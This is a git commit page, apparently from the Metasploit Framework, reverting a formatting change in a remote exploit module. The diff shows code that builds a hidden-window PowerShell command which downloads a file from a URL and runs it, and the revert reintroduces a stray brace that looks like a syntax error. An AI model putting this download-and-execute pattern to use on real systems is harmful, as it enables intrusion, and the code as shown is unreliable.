Revert "fix my comments from #8933"

This reverts commit 02a2839577.
This commit is contained in:
Jeffrey Martin 2017-10-25 16:13:00 -05:00
parent 9961c70cda
commit 0a858cdaa9
No known key found for this signature in database
GPG Key ID: 0CD9BBC2AF15F171
1 changed files with 5 additions and 2 deletions

View File

@ -163,13 +163,16 @@ class MetasploitModule < Msf::Exploit::Remote
file = %Q(echo (#{path}+'\\#{filename}'))
# Generate download PowerShell command
download_string = Rex::Powershell::PshMethods.download_run(url, file)
download_string = Rex::Powershell::PshMethods.download_run(url, file})
end
download_and_run = "#{ignore_cert}#{download_string}"
# Generate main PowerShell command
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
return generate_psh_command_line(noprofile: true,
windowstyle: 'hidden',
command: download_and_run
)
end